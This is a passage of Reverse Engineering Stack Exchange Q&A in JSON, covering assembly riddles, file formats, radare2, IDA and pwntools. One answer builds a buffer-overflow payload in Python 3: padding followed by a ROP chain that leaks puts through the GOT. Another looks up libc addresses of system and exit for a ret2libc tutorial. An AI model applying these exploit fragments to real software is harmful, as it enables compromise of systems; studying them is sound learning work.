href=\"https://en.wikipedia.org/wiki/Extended_Euclidean_algorithm#Computing_multiplicative_inverses_in_modular_structures\" rel=\"nofollow noreferrer\">extended Euclidean algorithm</a>.  I won't go through that algorithm here, but in this case, the answer is 71 (which we can verify by noting that <code>71 * 34 = 2414 = 1 (mod 127)</code>.</p>\n\n<p>Next we calculate the cofactor matrix.  Here again, we won't go through all of the steps, but the cofactor matrix of <code>fixed</code> is:</p>\n\n<pre><code> 6651  -5583   3165\n 2655   7585  -9325     (mod 127) \n-2181     23   5935\n</code></pre>\n\n<p>Since we're working with modular mathematics, we can reduce this:</p>\n\n<pre><code> 47     5   117\n115    92    73      (mod 127)\n105    23    93\n</code></pre>\n\n<p>Now all that's left is to multiply them together:</p>\n\n<pre><code>         47     5   117\n71   *  115    92    73      (mod 127)\n        105    23    93\n\n\n3337    355   8307\n8165   6532   5183   (mod 127) \n7455   1633   6603\n\n35   101    52\n37    55   103    (mod 127)\n89   109   126\n</code></pre>\n\n<p>Finally, we take the transpose:</p>\n\n<pre><code> 35    37    89\n101    55   109\n 52   103   126\n</code></pre>\n\n<p>If we then translate this matrix back into an ASCII string, we get <code>\"#%Ye7m4g~\"</code> which is the inverse of the given matrix and the solution to this reverse engineering problem.</p>\n\n<h2>Why this might matter</h2>\n\n<p>While it may be an interesting enough puzzle by itself, these kinds of transformations using discrete mathematics and modular arithmetic are fundamental to many areas of modern cryptography.  Since you've already started looking into reverse engineering, you may find it useful and interesting to study these topics as well.  </p>\n"
    },
    {
        "Id": "19730",
        "CreationDate": "2018-10-26T01:38:37.477",
        "Body": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/1502958082\" rel=\"nofollow noreferrer\"><em>\"XCHG RAX, RAX\"</em></a> is a kind of riddle book that provides assembly code for you to reverse and undercover the meaning. Some of the examples calculate the Fibonacci sequence others bit-twiddle to toggle ASCII case. The <a href=\"https://www.xorpd.net/pages/xchg_rax/snip_03.html\" rel=\"nofollow noreferrer\">snippet (riddle) on <code>0x03</code></a> is,</p>\n\n<pre><code>sub  rdx,rax\nsbb  rcx,rcx\nand  rcx,rdx\nadd  rax,rcx\n</code></pre>\n\n<p>How does this code work, and what does it do?</p>\n",
        "Title": "XCHG RAX, RAX: 0x03, what does this code do and how does it work?",
        "Tags": "|x86|x86-64|",
        "Answer": "<p>This code boils down to,</p>\n\n<pre><code>rax = min(rdx,rax)\nrdx = sub(rdx,rax) ; store the difference in rdx\n</code></pre>\n\n<p>That is essentially,</p>\n\n<ul>\n<li><code>rdx - 0</code>         (if <code>rdx</code> is the min)</li>\n<li><code>rdx - (rdx-rax)</code> (if <code>rax</code> is the min)</li>\n</ul>\n\n<p>The <code>sbb</code> and <code>and</code> here just move into <code>rcx</code> either</p>\n\n<ul>\n<li><code>0</code></li>\n<li><code>rdx-rax</code></li>\n</ul>\n\n<p>What determines what gets moved into <code>rcx</code>? That's determined by the result of the <code>sbb</code>. <strong>The <code>sbb</code> is doing <code>reg - reg - CF</code>.</strong> So you're either <code>AND</code>ing against all <code>1</code>s or all <code>0</code>s.</p>\n\n<p>This is how I reasoned about it</p>\n\n<pre><code># CF=0; rdx &gt; rax\nif ( rdx &gt; rax ) {\n  rdx -= rax\n  rcx = 0     ; all bits off\n\n\n              ; AND 0 (rcx) with anything (in rdx) is nop here.\n              ; ADDing 0 (rcx) to rax is a nop\n}\n\n\n\n# CF=1; rax &gt; rdx\nelse {\n  rdx -= rax\n  rcx = -1    ; all bits on\n\n\n  rcx = rdx   ; code is rcx &amp;= rdx\n              ; remember -1 &amp; x == x\n  rax += rcx\n\n}\n</code></pre>\n\n<p>Note regardless of the carry flag, <strong>this code will store the difference in <code>rdx</code></strong></p>\n"
    },
    {
        "Id": "19734",
        "CreationDate": "2018-10-26T17:47:28.760",
        "Body": "<p>Today I was investigating an issue with a Microsoft DLL, <code>mscordacwks.dll</code>, which is part of the .NET framework. I've seen it many times before and it always was a regular PE file, meaning that it started with the magic <code>MZ</code>.</p>\n\n<p>However, the file today starts with <code>DCD</code> in ASCII. I could only find a reference to ELF binaries that use <code>DCD</code> in the disassembled code. However, this is about <code>DCD</code> as the first three bytes of the file.</p>\n\n<p>Here's the start of the DLL:</p>\n\n<pre><code>Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n\n00000000  44 43 44 01 38 01 EE 42 00 00 0A 00 50 41 33 30  DCD.8.\u00eeB....PA30\n00000010  80 16 D7 D5 DE B1 9D 01 B0 4E 10 D0 C7 04 0C C4  \u20ac.\u00d7\u00d5\u00de\u00b1..\u00b0N.\u00d0\u00c7..\u00c4\n00000020  84 D6 08 01 42 01 04 00 88 FB 17 32 00 00 00 00  \u201e\u00d6..B...\u02c6\u00fb.2....\n00000030  00 00 08 7D DE D3 AA 02 A0 2C AA AA AA AA AA AA  ...}\u00de\u00d3\u00aa.\u00a0,\u00aa\u00aa\u00aa\u00aa\u00aa\u00aa\n00000040  AA AA AA AA AA 1A AA AA AA 1A AA AA AA AA A1 01  \u00aa\u00aa\u00aa\u00aa\u00aa.\u00aa\u00aa\u00aa.\u00aa\u00aa\u00aa\u00aa\u00a1.\n00000050  20 D2 A1 AA AA AA AA AA AA AA AA AA 22 2A AA AA   \u00d2\u00a1\u00aa\u00aa\u00aa\u00aa\u00aa\u00aa\u00aa\u00aa\u00aa\"*\u00aa\u00aa\n00000060  AA AA A1 8D 09 00 FF 3F 00 1C F4 3F 00 F0 FF 51  \u00aa\u00aa\u00a1...\u00ff?..\u00f4?.\u00f0\u00ffQ\n00000070  00 F0 04 00 FF 01 74 50 66 80 88 D0 1A 00 68 68  .\u00f0..\u00ff.tPf\u20ac\u02c6\u00d0..hh\n00000080  44 33 33 00 00 00 00 00 30 65 97 00 50 67 64 96  D33.....0e\u2014.Pgd\u2013\n00000090  28 6E 66 90 71 23 8E E3 B8 26 E2 54 1A 62 12 23  (nf.q#\u017d\u00e3\u00b8&amp;\u00e2T.b.#\n000000A0  12 8B C5 20 63 92 18 44 C4 71 1A 44 E2 C4 48 48  .\u2039\u00c5 c\u2019.D\u00c4q.D\u00e2\u00c4HH\n000000B0  1D CB 63 C7 6D EC 36 96 D8 21 26 91 10 93 88 EB  .\u00cbc\u00c7m\u00ec6\u2013\u00d8!&amp;\u2018.\u201c\u02c6\u00eb\n000000C0  9A C4 B1 3C 76 0C 2A 31 22 B5 E3 C4 24 4E 24 A4  \u0161\u00c4\u00b1&lt;v.*1\"\u00b5\u00e3\u00c4$N$\u00a4\n000000D0  31 00 88 53 23 71 EC 38 91 39 76 10 93 D8 42 E2  1.\u02c6S#q\u00ec8\u20189v.\u201c\u00d8B\u00e2\n000000E0  98 D4 6E 6A 22 69 52 8B 91 04 47 3E BC 36 2D CD  \u02dc\u00d4nj\"iR\u2039\u2018.G&gt;\u00bc6-\u00cd\n000000F0  E8 4A AB 6F 99 12 6D C3 B2 61 5E 86 8E 0E 43 A7  \u00e8J\u00abo\u2122.m\u00c3\u00b2a^\u2020\u017d.C\u00a7\n</code></pre>\n\n<p>Usually, these DLLs are ~1.7MB in size. However, this one is only 3kB. I found it in the folder <code>C:\\Windows\\WinSxS\\amd64_netfx-mscordacwks_b03f5f7f11d50a3a_10.0.17134.1_none_a06aa12b896d6ba9</code></p>\n\n<p><strong>What file format is that? And, if it's simple to answer, how is Windows able to load it?</strong></p>\n\n<p>I found more files of this kind with up to 51kB in size and it seems that the <code>PA30</code> part is also common.</p>\n\n<p>Some background information on why I'm working with the file: <code>mscordacwks.dll</code> is <code>MS</code> for Microsoft, <code>COR</code> for the .NET framework, <code>DAC</code> for data access control and <code>WKS</code> for workstation. When debugging a .NET application, it's that DLL that can give information about the memory layout of .NET objects etc. Usually it's used along with the SOS extension for WinDbg. Sometimes, developers have a wrong version of mscordacwks.dll, which makes SOS complain about the wrong version. So I was looking on my PC whether I could find a version that matches.</p>\n",
        "Title": "DLL starting with DCD",
        "Tags": "|pe|file-format|",
        "Answer": "<p>These file are created using PatchAPI and MSDelta API:\n<a href=\"https://docs.microsoft.com/en-us/windows/win32/devnotes/msdelta\" rel=\"nofollow noreferrer\">Link to MSDN article on subject</a></p>\n"
    },
    {
        "Id": "19735",
        "CreationDate": "2018-10-26T17:53:18.087",
        "Body": "<p>Given the following short assembly snippet:</p>\n\n<pre><code>shr   rax, 3\nadc   rax, 0\n</code></pre>\n\n<p>I worked this out a bit:</p>\n\n<ul>\n<li>We know <code>SHR</code> sets the CF with the last bit shifted.</li>\n<li>We know <code>ADC dest, 0</code> is just adding the CF.</li>\n</ul>\n\n<p>So looking at the bits,</p>\n\n<pre><code>        128  64  32  16  8   4   2   1 \n        8    7   6   5   4   3   2   1\n        ------------------------------\n        1    1   1   1   1   CF  X   X\nCF=1 |  0    0   0   1   1   1   1   1  ; shr 3\n</code></pre>\n\n<p>So if we div 8 and add the CF the most correct function is something like this,</p>\n\n<pre><code>def f(x):\n  return x//8  + int( (x//4) % 2 )\n</code></pre>\n\n<p><strong>When would that be useful.</strong> Quickly testing it, I can see that I am right. </p>\n\n<pre><code>rax = 0  -&gt; 0\nrax = 1  -&gt; 0\nrax = 2  -&gt; 0\nrax = 3  -&gt; 0\n\nrax = 4  -&gt; 1\nrax = 7  -&gt; 1\nrax = 8  -&gt; 1\nrax = 11 -&gt; 1\n\nrax = 12 -&gt; 2\nrax = 13 -&gt; 2\nrax = 14 -&gt; 2\nrax = 15 -&gt; 2\nrax = 16 -&gt; 2\nrax = 17 -&gt; 2\nrax = 18 -&gt; 2\nrax = 19 -&gt; 2\n\n...\n\nrax = 20 -&gt; 3\nrax = 28 -&gt; 4\n</code></pre>\n\n<p>Decompilation with Radare is also not useful here,</p>\n\n<pre><code>int64_t entry0 (void) {\n    rax &gt;&gt;= 3;\n    __asm (\"adc rax, 0\");\n}\n</code></pre>\n\n<p>My questions is, therefore, although I do understand the immediate impact these instructions have on the operand register, what is the higher level meaning of this instruction sequence?</p>\n\n<hr>\n\n<p>This is <a href=\"https://www.xorpd.net/pages/xchg_rax/snip_09.html\" rel=\"nofollow noreferrer\">riddle <code>0x09</code></a> from the <a href=\"https://rads.stackoverflow.com/amzn/click/1502958082\" rel=\"nofollow noreferrer\">XCHG RAX, RAX</a> book.</p>\n",
        "Title": "XCHG RAX, RAX: 0x09, what does this code do and how does it work?",
        "Tags": "|disassembly|assembly|x86|decompilation|x86-64|",
        "Answer": "<p>The <code>shr rax, 3</code> is an unsigned divide by 8 with truncation <strong>towards zero</strong>. The inclusion of the <code>adc rax, 0</code> makes the division round to <strong>nearest</strong>  instead. (Though 0.5 will always be rounded up)</p>\n\n<p>So this operation sets <code>RAX</code> to </p>\n\n<ul>\n<li>1 if <code>RAX</code> is in the range of <code>[4-11]</code> (<code>8*1 \u00b14</code>)</li>\n<li>2 if <code>RAX</code> is in the range of <code>[12-20]</code> (<code>8*2 \u00b14</code>)</li>\n<li>3 if <code>RAX</code> is in the range of <code>[20-27]</code> (<code>8*3 \u00b14</code>)</li>\n</ul>\n\n<p>You can simplify this further by reducing the shift to 1.</p>\n\n<pre><code>mov rax, 47  ; (remember 47/2 is 23.5)\nshr rax, 1   ; rax = 23\nadc rax, 0   ; rax = 24\n</code></pre>\n\n<p>If we do it again,</p>\n\n<pre><code>mov rax, 46  ; (remember 46/2 is 23)\nshr rax, 1   ; rax = 23\nadc rax, 0   ; rax = 23\n</code></pre>\n"
    },
    {
        "Id": "19743",
        "CreationDate": "2018-10-28T09:23:56.413",
        "Body": "<p>I want to reverse engineer <a href=\"https://files.fm/u/yq8fg87w\" rel=\"nofollow noreferrer\">titltext.cel </a>.CEL image format and render this in SDL2.\nI happen to know a little bit about the CEL file that I am working with. I know it is supposed to be a sprite-sheet of the alphabet and some symbols.</p>\n\n<p>The .CEL image format is a format that is very stripped with very little header information. </p>\n\n<p>Googleing leads me to a few <a href=\"http://www.geocities.ws/fantasydiablo/cel_spec.html\" rel=\"nofollow noreferrer\">.CEL Specifications</a>  <a href=\"https://github.com/krisives/ReDiablo/wiki/Cel-format\" rel=\"nofollow noreferrer\">.CEL Specifications 2</a>  documents which seem to have the idea , but I think is lacking for loading more than a few frames. From the documentation I can kind of tell how many frames are in a CEL image and where the first frame starts. </p>\n\n<p>Knowing where the first frame starts I thought I could bypass the stripped image header</p>\n\n<p><strong>IMAGE HEADER:</strong></p>\n\n<pre><code>37 00 00 00 E4 00 00 00 78 03 00 00 D6 05 00 00 \n18 08 00 00 B2 0A 00 00 02 0D 00 00 F8 0E 00 00 \n9D 11 00 00 07 14 00 00 4D 15 00 00 CB 16 00 00 \n04 19 00 00 9E 1A 00 00 1E 1E 00 00 ED 20 00 00 \n59 24 00 00 4C 26 00 00 78 29 00 00 E7 2B 00 00 \n1C 2E 00 00 18 30 00 00 AF 32 00 00 EC 34 00 00 \nBF 38 00 00 88 3B 00 00 8F 3D 00 00 EE 3F 00 00 \n4B 41 00 00 8E 43 00 00 D6 45 00 00 B4 47 00 00 \n06 4A 00 00 28 4C 00 00 E9 4D 00 00 4C 50 00 00 \n67 52 00 00 A9 55 00 00 09 57 00 00 D6 58 00 00 \n37 5C 00 00 19 5F 00 00 56 60 00 00 F4 61 00 00 \nA1 63 00 00 5D 64 00 00 93 65 00 00 B6 66 00 00 \n59 67 00 00 6A 68 00 00 7F 69 00 00 86 6A 00 00 \n70 6B 00 00 13 6C 00 00 A2 6C 00 00 8A 6E 00 00 \n45 70 00 00\n</code></pre>\n\n<p><strong>After the Image Header / Start of the first frame.</strong></p>\n\n<pre><code>D2 D2 D2 D2 D2 D2 D2 D2 D2 F9 03 F5 F4 F4 F3 03 F4 F4 F5\nEC FD 07 F5 F5 F5 F5 F5 ED ......\n</code></pre>\n\n<p>></p>\n\n<p>As per documentation , the first DWORD is the amount of FRAMES in the .CEL . \nThis is 0x37 which is 55 in decimal which seems accurate. From what I understand the rest is just frame locations . Each frame from what I understand is supposed to have a Width of 45 and a Height 46 Pixels. Since the image is 8 bit colour this means it would be 1 byte for each colour. </p>\n\n<p>Also,  I have heard that these old image types are called palettes or something to help alter the colour.</p>\n\n<pre><code>#include &lt;SDL2/SDL.h&gt;\n#include &lt;SDL2/SDL_image.h&gt;\n#include &lt;SDL2/SDL_mixer.h&gt;\n#include &lt;stdbool.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;errno.h&gt;\n\n\nSDL_Window *window; // SDL MAIN WINDOW\nSDL_Renderer *renderer;\nSDL_Texture *texture;\n\n\nint SCREEN_WIDTH = 1920;\nint SCREEN_HEIGHT = 1080;\nSDL_Event e;\nbool quit = false;\n\n\n/** 32-bit in-memory backbuffer surface */\nSDL_Surface *surface;\n/** 8-bit surface wrapper around #gpBuffer */\nSDL_Surface *pal_surface;\n/** Currently active palette */\nSDL_Palette *palette;\nSDL_Texture* texture;\n\n\nFILE* CELFILE;\n\nunsigned char CELBuffer [3000];\n\n// The CEL dementions I am trying to open are \n// W 46 Height 45 Width 55 FRAMES\nvoid LoadCEL (char * Path){\n\n\nCELFILE = fopen(Path, \"rb\"); \n\n\nint CELHEADERSIZE = 228;\nint CELFRAMESIZE  = 2070;    \n\n//The Header Appears to be 228 bytes in size.  I want to put a frame into CELBuffer \n//  \n// I am assuming to get the size of the first framee I need a size of 2017 (45 * 55) ;\n\n    unsigned char c;\n\n    for (int i = 0;  i &lt; (CELFRAMESIZE+CELHEADERSIZE) ; i++){\n        if(i &gt; CELHEADERSIZE ){\n        c  = fgetc(CELFILE);\n\n        CELBuffer[i] = c;\n        printf(\"CELFILE HEADR %02x \\n\" ,CELBuffer[i]  &amp; 0xff);\n\n        }\n\n    }   \n\n    void *  pCELBuffer = CELBuffer; \n    surface = SDL_CreateRGBSurfaceFrom( pCELBuffer , 45, 55, 8,1 ,0, 0, 0, 0xff); \n    texture = SDL_CreateTextureFromSurface(renderer, surface);\n\n}\n\nvoid Create_SDL_Window()\n{\n\n    SDL_Init(SDL_INIT_EVERYTHING);\n    IMG_Init(IMG_INIT_PNG);\n        window = SDL_CreateWindow(\"Test Window\", SDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED, SCREEN_WIDTH, SCREEN_HEIGHT, SDL_WINDOW_SHOWN);\n    renderer = SDL_CreateRenderer(window, -1, 0);\n    printf(\"Window And Renderer Created!\\n\");\n}\n\n\nint main(){\n\nLoadCEL(\"/home/james/Desktop/titltext.cel\");\n\nCreate_SDL_Window();\nprintf(\"THIS WORKD\\n\");\n\n\nwhile (!quit){  \n        SDL_RenderPresent(renderer);\n\n\nwhile (SDL_PollEvent(&amp;e)){\n    //If user closes the window\n    if (e.type == SDL_QUIT){\n        quit = true;\n    }\n    //If user presses any key\n    if (e.type == SDL_KEYDOWN){\n    //  quit = true;\n    }\n    //If user clicks the mouse\n    if (e.type == SDL_MOUSEBUTTONDOWN){\n    /// quit = true;\n        }\n    }   \n    SDL_RenderClear(renderer);\n    //renderTexture(image, renderer, x, y);\n    SDL_RenderPresent(renderer);\n\n}\n</code></pre>\n\n<p>}</p>\n\n<p>Any help is much appreciated.</p>\n",
        "Title": "Reverse Engineering And Rendering Old Image Format .CEL",
        "Tags": "|binary-analysis|file-format|",
        "Answer": "<p>Won't be able to tell you what exactly is the <code>CEL</code> format but from what I can see:</p>\n\n<ul>\n<li>the offsets into frames suggest that frames are about 600 bytes long (<code>0x378-0xe4=660</code>, <code>0x5d6-0x378=606</code>, etc)</li>\n<li>since the image dimensions are 45*46=2070, each frame must be compressed to fit to 600 bytes</li>\n<li>it's an old game (and as you mentioned using a palette), after the decompression one pixel is represented as one byte. Each byte is an index into a palette table.</li>\n<li>palette table doesn't seem to be stored in the <code>CEL</code> file and the game stores the palette separately. Palette is an array with length 256 elements, each element storing 3 values for R, G and B. Complete palette is 768 bytes but it's possible the game stores only subsets of the full palette. It can be that e.g. indices 1-127 are for sprites and 128-255 are for background. There's no hard rule how a game decides to use palette. It's also possible that each level uses a different palette. Search for <code>PAL</code> files or files 768 bytes long, they might be the right palettes for you.</li>\n<li>the first documentation describes how to decompress the frame, follow paragraph \"5.3 Commands\"</li>\n</ul>\n\n<p>Commands in you case:</p>\n\n<ul>\n<li><code>0xd2</code>: <code>0x100-0xd2=</code>46 transparent pixels (46 is the width so the full scanline is transparent)</li>\n<li><code>0xd2</code>: <code>0x100-0xd2=</code>46 transparent pixels</li>\n<li>...</li>\n<li><code>0xf9</code>: <code>0x100-0xf9=</code>7 transparent pixels, this is an incomplete scanline, more pixels to follow...</li>\n<li><code>0x03</code>: block command, not sure based on the doc, but it looks like that <code>3+1</code> bytes are pixel data (`0xf5, 0xf4, 0xf4, 0xd4). All block commands aremy guess and I might be completely wrong.</li>\n<li><code>0x03</code>: block command, <code>3+1</code> bytes are pixel data (<code>0xf4, 0xf4, 0xf5, 0xec</code>)</li>\n<li><code>0xfd</code>: <code>0x100-0xfd=</code>3 transparent pixels</li>\n<li><code>0x07</code>: block command?, <code>7+1</code> bytes are pixel data (<code>0xf5, ...,</code>0xf3`)</li>\n<li><code>0x06</code>: block command?, <code>6+1</code> bytes are pixel data (<code>0xf4, ...,</code>0xef`)</li>\n<li><code>0xfe</code>: <code>0x100-0xfe=</code>2 transparent pixels</li>\n<li>etc.</li>\n</ul>\n\n<p>Once you manage to process all commands, you have the indices into that palette table. Even if you don't have the palette you can pretend it's a grayscale image and render the image like that. You should be able to recognise the shape of sprites.</p>\n\n<p>The decompression algorithm, especially the block commands seem to be the tricky bits so probably what you could do is to download some Diablo editors and try to supply your own sprites to see how your sprites get compressed.</p>\n\n<p>If that fails or it's too much work you can always disassemble the game or even the editors to see how they decompress <code>CEL</code> files.</p>\n\n<p><strong>EDIT</strong>: <a href=\"https://github.com/krisives/ReDiablo/blob/master/ReDiablo/Data/GfxLoader.cs#L30\" rel=\"nofollow noreferrer\">This tool</a> seems to be loading <code>CEL</code> files and would help you understand the format. See <code>readFrame()</code> and <code>readFrame2()</code> functions. These don't seems to care about block commands but at the same time don't seem to work 100% with your file (just reading the source code). Looks like you have plenty to investigate. :)</p>\n\n<p>It also contains <a href=\"https://github.com/krisives/ReDiablo/blob/master/ReDiablo/diablo.pal\" rel=\"nofollow noreferrer\">a palette file</a> you could use.</p>\n"
    },
    {
        "Id": "19754",
        "CreationDate": "2018-10-30T00:03:36.743",
        "Body": "<p>for a C/C++ program compiled on windows using the x86 architecture, what is the best way to find the main function within disassembled code?</p>\n\n<p>I've found various answers to questions similar to this, but they're answering questions that are far more specific to the OPs use-case. Is there any standard or go-to method for locating the main function when looking at disassembled code?</p>\n\n<p>NOTE: I'm new to disassembly / reverse engineering. If I'm saying something that doesn't quite make sense, all clarification is much appreciated!</p>\n",
        "Title": "Finding the main function without symbols",
        "Tags": "|disassembly|windows|x86|c++|c|",
        "Answer": "<p>If the application is a GUI, usually there are 4 arguments that will push to the stack and a call to an address.</p>\n\n<p>Example:</p>\n\n<p><a href=\"https://i.stack.imgur.com/PfskC.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/PfskC.png\" alt=\"enter image description here\"></a></p>\n\n<p>For console application, it has 3 arguments.</p>\n\n<p>Example:</p>\n\n<p><a href=\"https://i.stack.imgur.com/vYYpw.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/vYYpw.png\" alt=\"enter image description here\"></a></p>\n\n<p>But still, it must be depend upon the compiler. I hope it help you. </p>\n"
    },
    {
        "Id": "19759",
        "CreationDate": "2018-10-30T21:12:11.630",
        "Body": "<p>I was just looking at the <a href=\"https://www.megabeets.net/a-journey-into-radare-2-part-1/\" rel=\"nofollow noreferrer\">Megabeets tutorial again</a>, and it he has,</p>\n\n<pre><code>pd $r @ main\n</code></pre>\n\n<p>I don't see the the <code>$r</code> explained anywhere though. What does <code>$r</code> do in that? It's also not explained in <code>pd?</code></p>\n",
        "Title": "What does the `$r` do in `pd $r`?",
        "Tags": "|radare2|",
        "Answer": "<p><code>$r</code> is one of the variables available in radare2. More specifically, <code>$r</code> is a variable which holds the height of the console. This command is shown on Visual Disassembly mode (<code>Vp</code>) and usually is not executed by the user. The command is used by the mode in order to show <em>N</em> instructions from the binary where <em>N</em> is the height of the console (number of lines). This provides the user with a better, and more interactive, reverse engineering experience.</p>\n\n<p>To show the full list of variables you can use the command <code>?$?</code>. Here is a truncated list:</p>\n\n<pre><code>[0x000008cc]&gt; ?$?\nUsage: ?v [$.]\n| flag          offset of flag\n| $$            here (current virtual seek)\n| $$$           current non-temporary virtual seek\n| $?            last comparison value\n| $alias=value  alias commands (simple macros)\n| $b            block size\n...\n| $c,$r         get width and height of terminal\n...\n| $l            opcode length\n| $m            opcode memory reference (e.g. mov eax,[0x10] =&gt; 0x10)\n| $M            map address (lowest map address)\n| $MM           map size (lowest map address)\n| $o            here (current disk io offset)\n| $p            getpid()\n| $P            pid of children (only in debug)\n| $s            file size\n| $S            section offset\n| $SS           section size\n...\n| ${ev}         get value of eval config variable\n| $r            get console height\n| $r{reg}       get value of named register\n| $k{kv}        get value of an sdb query value\n| $s{flag}      get size of flag\n...\n</code></pre>\n"
    },
    {
        "Id": "19764",
        "CreationDate": "2018-10-31T02:19:04.233",
        "Body": "<p>On the <a href=\"https://www.megabeets.net/a-journey-into-radare-2-part-2/\" rel=\"nofollow noreferrer\">tutorial by Megabeets, <em>\"A journey into Radare 2 \u2013 Part 2: Exploitation\"</em></a></p>\n\n<pre><code>[0x080483d0]&gt; dmi libc puts~&amp;GLOBAL, puts:0\n532 0x000fdd60 0xf7e0bd60 GLOBAL   FUNC 1181 putspent\n\n[0x080483d0]&gt; dmi libc system~&amp;GLOBAL, system:0\n\n[0x080483d0]&gt; dmi libc exit~&amp;GLOBAL, exit:0\n147 0x000303d0 0xf7d3e3d0 GLOBAL   FUNC   33 exit\n</code></pre>\n\n<p>I can only see <code>exit</code> on my sistem. Neither the location of <code>system</code> nor <code>puts</code> shows with <code>dmi</code>. The search for <code>puts</code> shows <code>putsspent</code> and the search for <code>system</code> returns nothing.</p>\n",
        "Title": "`dmi libc puts~GLOBAL` does not show puts, just putspent?",
        "Tags": "|radare2|libc|",
        "Answer": "<p>This is right, and it was caused by using the wrong grep (the <code>~</code> character) in the article. This was due the fact that the output of <code>dmi libc</code> is different on different machines and also, the syntax of the <code>dmi</code> output was changed. The grep you showed (<code>~&amp;GLOBAL, exit:0</code>) is indeed wrong.</p>\n\n<p>The grep is there, for the first place, in order to filter functions that contain in them, the name of the function we are searching for (i.e puts, exit, system). This way, the reader could narrow down the results and keep only the relevant functions.</p>\n\n<p>I came up with a better, more elegant, solution for the grep:</p>\n\n<pre><code>[0x7f99e22006a0]&gt; dmi libc puts~ puts$\n422 0x000809c0 0x7f99e1a809c0   WEAK   FUNC  512 puts\n\n[0x7f99e22006a0]&gt; dmi libc exit~ exit$\n132 0x00043120 0x7f99e1a43120 GLOBAL   FUNC   26 exit\n\n[0x7f99e22006a0]&gt; dmi libc system~ system$\n1403 0x0004f440 0x7f99e1a4f440   WEAK   FUNC   45 system\n</code></pre>\n\n<p>This will ensure that the user would get the expected results, and them only.\nThis is now fixed in the article itself.</p>\n"
    },
    {
        "Id": "19767",
        "CreationDate": "2018-10-31T06:21:51.080",
        "Body": "<p>IDA v7 shows decompilation failure in 64bit <code>ntoskrnl.exe</code> file of Windows 10 build 18262. Here is an example of that:</p>\n\n<p><a href=\"https://i.stack.imgur.com/g3Qas.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/g3Qas.png\" alt=\"decompilation_faliure\"></a></p>\n\n<p>I've loaded all the needed type libraries, PDB file, kernel mode header files (wdm.h, ntddk.h, ntdef.h etc.). But it doesn't change anything with that errors. The assembly is simple to translate. I found the error may be related to <code>END OF FUNCTION CHUNK FOR NtQueryInformationProcess</code> comment. Here is the example assembly in <code>ntoskrnl.exe</code> PAGE segment where IDA shows that warning:</p>\n\n\n\n<pre><code>lea     rdx, cs:140000000h\nmov     eax, ds:(off_1405DF7E4 - 140000000h)[rdx+rbx*4]\nadd     rax, rdx\njmp     rax         ; failed here \n</code></pre>\n\n\n\n<p>What can I do to remove this error? If you need any further information I can add that in this question. </p>\n",
        "Title": "Multiple decompilation failure with ntoskrnl",
        "Tags": "|ida|decompilation|",
        "Answer": "<p>As a generic, incomplete answer: switch analysis is a common source of failure in using Hex-Rays (and even IDA). You can fix these errors by manually editing the switch information using <code>Edit-&gt;Other-&gt;Specify switch idiom</code> with your cursor somewhere near the beginning. However, I can't give you complete instructions on how to do this. My best advice is to search the disassembly listing for the word 'switch' using <code>Alt-T</code>, and use the edit command just mentioned to view the switch information. For each one, copy the information into a text editor, and compare it against the disassembly listing. This will start to give you an idea of what the fields mean. From there, experiment with the failing switch. Does something you learned from the process I just describe seem not to fit well with the information presented for the failing switch? Change it and see what happens.</p>\n"
    },
    {
        "Id": "19776",
        "CreationDate": "2018-10-31T23:32:53.977",
        "Body": "<p>On the <a href=\"https://www.megabeets.net/a-journey-into-radare-2-part-2/\" rel=\"nofollow noreferrer\">tutorial by Megabeets, <em>\"A journey into Radare 2 \u2013 Part 2: Exploitation\"</em></a>, he shows an example of how to create a payload with Python2</p>\n\n<pre><code># Initial payload\npayload  =  \"A\"*140 # padding\nropchain =  p32(puts_plt)\nropchain += p32(entry_point)\nropchain += p32(puts_got)\n\npayload = payload + ropchain\n</code></pre>\n\n<p>How would that get ported to Python3? <code>p32</code> is a 32bit integer. Python3 uses <code>bytes()</code> instead of strings. What's the right way to do this? </p>\n\n<p><code>python3-pwntools</code>'s docs show that there are some <a href=\"https://python3-pwntools.readthedocs.io/en/latest/fmtstr.html\" rel=\"nofollow noreferrer\">payload helpers</a>. But, I couldn't get them to work. Worse yet, those helpers <a href=\"http://docs.pwntools.com/en/stable/fmtstr.html\" rel=\"nofollow noreferrer\">were available in Python2 as well</a>, but not used (not sure why).</p>\n\n<p>How would I write Megabeet's example using <code>python3-pwntools</code>?</p>\n",
        "Title": "What is the right way to pack a payload with Python3's pwntools",
        "Tags": "|python|pwntools|",
        "Answer": "<p>Actually, this is a programming question and not an RE question. Anyway, you simply need to tell python to treat your payload as bytes by adding the bytes-literal <code>b</code> before the <code>'A'*140</code>.</p>\n\n<pre><code>&gt;&gt;&gt; from pwn import *\n&gt;&gt;&gt;\n&gt;&gt;&gt; puts_plt = 0x8048390\n&gt;&gt;&gt; puts_got = 0x804a014\n&gt;&gt;&gt; entry_point = 0x80483d0\n&gt;&gt;&gt;\n&gt;&gt;&gt; payload  =  b'A' * 40   # Only 40 for the example\n&gt;&gt;&gt; ropchain =  p32(puts_plt)\n&gt;&gt;&gt; ropchain += p32(entry_point)\n&gt;&gt;&gt; ropchain += p32(puts_got)\n&gt;&gt;&gt;\n&gt;&gt;&gt; payload = payload + ropchain\n&gt;&gt;&gt;\n&gt;&gt;&gt; print(payload)\nb'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\x90\\x83\\x04\\x08\\xd0\\x83\\x04\\x08\\x14\\xa0\\x04\\x08'\n&gt;&gt;&gt;\n</code></pre>\n\n<p>For further reading, you can read the <a href=\"https://docs.python.org/3/reference/lexical_analysis.html#strings\" rel=\"nofollow noreferrer\">String and Bytes literals</a> page in the Python3 documentation.</p>\n"
    },
    {
        "Id": "19780",
        "CreationDate": "2018-11-01T14:39:21.997",
        "Body": "<p>I'm thinking about reverse engineering a few router models and trying to get them running with QEMU. In particular I'm trying to get the web server running. The current issue I'm thinking might be a problem is if the router's firmware is trying to use a physical device that QEMU doesn't emulate by default. My main goal is to emulate various routers' firmware and be able to connect to their webservers. Do any members of the reverse engineering community have a general guide to emulating routers with QEMU? </p>\n",
        "Title": "Emulating Routers and other Embedded Devices with QEMU",
